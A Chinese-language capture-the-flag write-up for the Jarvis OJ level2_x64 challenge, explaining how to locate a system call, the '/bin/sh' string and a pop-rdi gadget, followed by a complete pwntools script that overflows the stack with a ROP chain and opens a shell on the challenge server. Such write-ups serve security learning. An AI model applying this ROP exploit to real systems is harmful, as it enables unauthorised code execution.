一、解题思路
checksec查看,是老样子,和level0的情况一样。
对比level0_x64和level2_x64反汇编后的结果
- vulnerable_function都一样
- main函数有所不同。
发现main函数中有system的调用,system函数本身位于libc库中,是通过PLT+GOT表实现调用的,一方面可以通过ELF模块获得system_plt,间接调用system函数。
函数列表中不在有level0的callsystem。但是字符串列表也没有“/bin/sh”
没有callsystem,但是我们找到了main中有call system[位于程序本身的.text节,NO PIE,代码段静态不变],可是少了参数的设置。
我在window下IDA反汇编level2_x64是可以看到“/bin/sh”的,在.data段中。或者用ROPgadget工具也可以找到“/bin/sh”[可能是linux上低版本IDA,不能获取.data段的字符串]
.data:0000000000600A90 00000008 C /bin/sh
在地址0x0000000000600A90下,我的Ubuntu的IDA情况是:
确实是存在的只是没有记录在string windows窗口里面。
如果在linux的IDA下要找.data节的字符情况,快捷键ctrl+S显示各个节,双击.data跳转到.data节
通过以上的分析就获得了调用system函数的固定地址和”/bin/sh”的固定地址[“/bin/sh”位于程序本身的.data节,NO PIE情况下,数据节固定地址]
万事俱备,就差把”/bin/sh”的地址pop到%rdi,作为system函数的参数。
这时候就要引入搜索ROP链的工具ROPgadget.[ROP链:以ret/call/jmp结尾的程序片段,用以实现指令片段执行流的衔接]
ROPgadget –binary level2_x64 –only “pop ret” grep rdi
–binary引入二进制文件
运气不错,搜索到了。pop %edi + ret,可以通过布置栈空间,利用pop %edi将”/bin/sh”的地址pop到%rdi,再ret将call system的地址pop到%rip中
注:ROPgadget工具不仅仅能搜索ROP链那么简单,还可以在程序的汇编代码中搜索字符串。
ROPgadget –binary level2_x64 –string “/bin/sh”
二、解题步骤
#!/usr/bin/puthon
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
re = remote("pwn2.jarvisoj.com",9882)
sys_addr = 0x000000000040063E
#或者elf = ELF("./level2_x64")和sys_addr = elf.plt['system']来得到system函数调用地址
bin_addr = 0x0000000000600a90
pr_addr = 0x00000000004006b3
payload = 'a'*0x80 +'a'*0x8 + p64(pr_addr) + p64(bin_addr) + p64(sys_addr)
re.recvline()
re.send(payload)
#一开始在这里加了re.recvline(),以为要接收“hello world”,结果运行python xlevel2_x64.py就停止了。
#原因很显然,没有和远程靶机交互[即还未到达re.interactive()],远程主机创建了一个shell子进程,一直等待着输入
#但是我们的攻击主机在等待接收recvline,于是就僵住了。
#所以要先交互interactive(),接入远程靶机的shell,进行输入ls+cat flag
re.interactive()
三、参考链接:
- https://blog.csdn.net/qq_38204481/article/details/80954747
- https://www.cnblogs.com/ZHijack/p/7940686.html